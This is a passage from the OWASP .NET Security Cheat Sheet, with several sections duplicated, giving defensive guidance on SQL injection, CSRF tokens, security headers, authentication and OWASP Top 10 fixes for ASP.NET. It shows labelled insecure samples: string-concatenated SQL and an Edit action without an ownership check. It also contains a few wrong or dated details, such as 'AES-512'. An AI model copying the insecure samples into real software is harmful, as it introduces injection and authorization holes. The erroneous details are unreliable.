// Validate the Anti-XSRF token
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue ||
(string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))
{
throw new InvalidOperationException("Validation of Anti-XSRF token failed.");
}
}
}

* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.
** In the Home pane, double-click HTTP Response Headers.
** In the HTTP Response Headers pane, click Add... in the Actions pane.
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.
** This is a recommended web.config setup that handles HSTS among other things.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<staticContent>
<clientCache cacheControlCustom="public" cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00" setEtag="true" />
</staticContent>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'" />
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>
<rewrite>
<rules>
<rule name="Redirect to https">
<match url="(.*)"/>
<conditions>
<add input="{HTTPS}" pattern="Off"/>
<add input="{REQUEST_METHOD}" pattern="^get$|^head$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent"/>
</rule>
</rules>
<outboundRules>
<rule name="Add HSTS Header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security"
pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=15768000" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>

* Remove the version header.

<httpRuntime enableVersionHeader="false" />

* Also remove the Server header.

HttpContext.Current.Response.Headers.Remove("Server");

=== HTTP validation and encoding ===

* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built in protections.
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.
* Whitelist allowable values anytime user input is accepted.
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].

=== Forms authentication ===

* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.
* If HTTPS is not used, slidingExpiration should be disabled. Consider disabling slidingExpiration even with HTTPS.
* Always implement proper access controls.
** Compare user provided username with User.Identity.Name.
** Check roles against User.Identity.IsInRole.
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.
* Explicitly authorize resource requests.
* Leverage role based authorization using User.Identity.IsInRole.

==ASP.NET MVC Guidance==

ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.

* A1 SQL Injection

DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.

DO: Use parameterized queries where a direct sql query must be used.

e.g. In entity frameworks:

var sql = @"Update [User] SET FirstName = @FirstName WHERE Id = @Id";
context.Database.ExecuteSqlCommand(
sql,
new SqlParameter("@FirstName", firstname),
new SqlParameter("@Id", id));

DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.

e.g
string strQry = "SELECT * FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
EXEC strQry // SQL Injection vulnerability!

DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account

* A2 Weak Account management

Ensure cookies are sent via httpOnly:

CookieHttpOnly = true,

Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:

ExpireTimeSpan = TimeSpan.FromMinutes(60),
SlidingExpiration = false

See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet

Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:


<httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>

</authentication>

Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.

[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
'''[AllowXRequestsEveryXSecondsAttribute(Name = "LogOn", Message = "You have performed this action more than {x} times in the last {n} seconds.", Requests = 3, Seconds = 60)]'''
public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)

Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling

DO NOT: Roll your own authentication or session management, use the one provided by .Net

DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested.

* A3 XSS

DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists

You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:

Install-Package AntiXSS

then set in config:

<system.web>

<httpRuntime targetFramework="4.5" enableVersionHeader="false" encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" maxRequestLength="4096" />

DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.

DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'" />
...

* A4 Insecure Direct object references

When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there

// Insecure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
return View("Details", new UserViewModel(user);
}

// Secure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
// Establish user has right to edit the details
if (user.Id != _userIdentity.GetUserId())
{
HandleErrorInfo error = new HandleErrorInfo(new Exception("INFO: You do not have permission to edit these details"));
return View("Error", error);
}
return View("Edit", new UserViewModel(user);
}

* A5 Security Misconfiguration

Ensure debug and trace are off in production. This can be enforced using web.config transforms:


<compilation xdt:Transform="RemoveAttributes(debug)" />

<trace enabled="false" xdt:Transform="Replace"/>

DO NOT: Use default passwords

DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:

protected void Application_BeginRequest()
{
#if !DEBUG
// SECURE: Ensure any request is returned over SSL/TLS in production
if (!Request.IsLocal && !Context.Request.IsSecureConnection) {
var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace("http:", "https:");
Response.Redirect(redirect);
}
#endif
}

* A6 Sensitive data exposure

DO NOT: Store encrypted passwords.

DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.

DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy.

DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.

DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].

DO NOT: Allow SSL, this is now obsolete

DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]

DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>

* A7 Missing function level access control

DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:

[Authorize(Roles = "Admin")]
[HttpGet]
public ActionResult Index(int page = 1)

or better yet, at controller level:

[Authorize]
public class UserController

You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)

* A8 Cross site request forgery

DO: Send the anti-forgery token with every Post/Put request:

using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "pull-right" }))
{
@Html.AntiForgeryToken()
<ul class="nav nav-pills">
<li role="presentation">Logged on as @User.Identity.Name</li>
<li role="presentation"><a href="javascript:document.getElementById('logoutForm').submit()">Log off</a></li>
</ul>
}

Then validate it at the method or preferably the controller level:

[HttpPost]
'''[ValidateAntiForgeryToken]'''
public ActionResult LogOff()

NB: You will need to attach the anti-forgery token to Ajax requests.

* A9 Using components with known vulnerabilities

DO: Keep the .Net framework updated with the latest patches
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities. So Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]

* A10 Unvalidated redirects and forwards

A protection against this was introduced in Mvc 3 template. Here is the code:

public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)
{
if (ModelState.IsValid)
{
var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);
if (logonResult.Success)
{
await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);
return RedirectToLocal(returnUrl);
....

private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Landing", "Account");
}
}

Other advice:

* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.

More information:

For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]

==XAML Guidance==

* Work within the constraints of Internet Zone security for your application.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==Windows Forms Guidance==

* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==WCF Guidance==

* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.

== Authors and Primary Editors ==

Bill Sempf - bill.sempf(at)owasp.org<br/>
Troy Hunt - troyhunt(at)hotmail.com<br/>
Jeremy Long - jeremy.long(at)owasp.org<br />

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:OWASP .NET Project]]

.NET Security Cheat Sheet

2017-03-19T15:28:28Z

Bill Sempf: Updated the web forms section based on Microsoft's guidance.

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== Introduction ==
__TOC__{{TOC hidden}}
This page intends to provide quick basic .NET security tips for developers.

===The .NET Framework===
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.

===Updating the Framework===
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.

Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.

Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.

==.NET Framework Guidance==

The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.

=== Data Access ===

* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.
* When using SQL Server, prefer integrated authentication over SQL authentication.
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),

=== Encryption ===
* Never, ever write your own encryption.
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.
* Use a strong hash algorithm.
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.

=== General ===

* Lock down the config file.
** Remove all aspects of configuration that are not in use.
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe

* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.

==ASP.NET Web Forms Guidance==

ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.

* Always use [http://support.microsoft.com/kb/324069 HTTPS].
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:

protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.

private const string AntiXsrfTokenKey = "__AntiXsrfToken";
private const string AntiXsrfUserNameKey = "__AntiXsrfUserName";
private string _antiXsrfTokenValue;
protected void Page_Init(object sender, EventArgs e)
{
// The code below helps to protect against XSRF attacks
var requestCookie = Request.Cookies[AntiXsrfTokenKey];
Guid requestCookieGuidValue;
if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
{
// Use the Anti-XSRF token from the cookie
_antiXsrfTokenValue = requestCookie.Value;
Page.ViewStateUserKey = _antiXsrfTokenValue;
}
else
{
// Generate a new Anti-XSRF token and save to the cookie
_antiXsrfTokenValue = Guid.NewGuid().ToString("N");
Page.ViewStateUserKey = _antiXsrfTokenValue;
var responseCookie = new HttpCookie(AntiXsrfTokenKey)
{
HttpOnly = true,
Value = _antiXsrfTokenValue
};
if (FormsAuthentication.RequireSSL && Request.IsSecureConnection)
{
responseCookie.Secure = true;
}
Response.Cookies.Set(responseCookie);
}
Page.PreLoad += master_Page_PreLoad;
}

protected void master_Page_PreLoad(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Set Anti-XSRF token
ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;
ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;
}
else
{
// Validate the Anti-XSRF token
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue ||
(string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))
{
throw new InvalidOperationException("Validation of Anti-XSRF token failed.");
}
}
}

* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.
** In the Home pane, double-click HTTP Response Headers.
** In the HTTP Response Headers pane, click Add... in the Actions pane.
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.
** This is a recommended web.config setup that handles HSTS among other things.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<staticContent>
<clientCache cacheControlCustom="public" cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00" setEtag="true" />
</staticContent>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'" />
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>
<rewrite>
<rules>
<rule name="Redirect to https">
<match url="(.*)"/>
<conditions>
<add input="{HTTPS}" pattern="Off"/>
<add input="{REQUEST_METHOD}" pattern="^get$|^head$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent"/>
</rule>
</rules>
<outboundRules>
<rule name="Add HSTS Header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security"
pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=15768000" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>

* Remove the version header.

<httpRuntime enableVersionHeader="false" />

* Also remove the Server header.

HttpContext.Current.Response.Headers.Remove("Server");

=== HTTP validation and encoding ===

* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built in protections.
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.
* Whitelist allowable values anytime user input is accepted.
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].

=== Forms authentication ===

* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.
* If HTTPS is not used, slidingExpiration should be disabled. Consider disabling slidingExpiration even with HTTPS.
* Always implement proper access controls.
** Compare user provided username with User.Identity.Name.
** Check roles against User.Identity.IsInRole.
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.
* Explicitly authorize resource requests.
* Leverage role based authorization using User.Identity.IsInRole.

==ASP.NET MVC Guidance==

ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.

* A1 SQL Injection

DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.

DO: Use parameterized queries where a direct sql query must be used.

e.g. In entity frameworks:

var sql = @"Update [User] SET FirstName = @FirstName WHERE Id = @Id";
context.Database.ExecuteSqlCommand(
sql,
new SqlParameter("@FirstName", firstname),
new SqlParameter("@Id", id));

DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.

e.g
string strQry = "SELECT * FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
EXEC strQry // SQL Injection vulnerability!

DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account

* A2 Weak Account management

Ensure cookies are sent via httpOnly:

CookieHttpOnly = true,

Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:

ExpireTimeSpan = TimeSpan.FromMinutes(60),
SlidingExpiration = false

See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet

Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:


<httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>

</authentication>

Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.

[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
'''[AllowXRequestsEveryXSecondsAttribute(Name = "LogOn", Message = "You have performed this action more than {x} times in the last {n} seconds.", Requests = 3, Seconds = 60)]'''
public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)

Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling

DO NOT: Roll your own authentication or session management, use the one provided by .Net

DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested.

* A3 XSS

DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists

You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:

Install-Package AntiXSS

then set in config:

<system.web>

<httpRuntime targetFramework="4.5" enableVersionHeader="false" encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" maxRequestLength="4096" />

DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.

DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'" />
...

* A4 Insecure Direct object references

When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there

// Insecure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
return View("Details", new UserViewModel(user);
}

// Secure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
// Establish user has right to edit the details
if (user.Id != _userIdentity.GetUserId())
{
HandleErrorInfo error = new HandleErrorInfo(new Exception("INFO: You do not have permission to edit these details"));
return View("Error", error);
}
return View("Edit", new UserViewModel(user);
}

* A5 Security Misconfiguration

Ensure debug and trace are off in production. This can be enforced using web.config transforms:


<compilation xdt:Transform="RemoveAttributes(debug)" />

<trace enabled="false" xdt:Transform="Replace"/>

DO NOT: Use default passwords

DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:

protected void Application_BeginRequest()
{
#if !DEBUG
// SECURE: Ensure any request is returned over SSL/TLS in production
if (!Request.IsLocal && !Context.Request.IsSecureConnection) {
var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace("http:", "https:");
Response.Redirect(redirect);
}
#endif
}

* A6 Sensitive data exposure

DO NOT: Store encrypted passwords.

DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.

DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy.

DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.

DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].

DO NOT: Allow SSL, this is now obsolete

DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]

DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>

* A7 Missing function level access control

DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:

[Authorize(Roles = "Admin")]
[HttpGet]
public ActionResult Index(int page = 1)

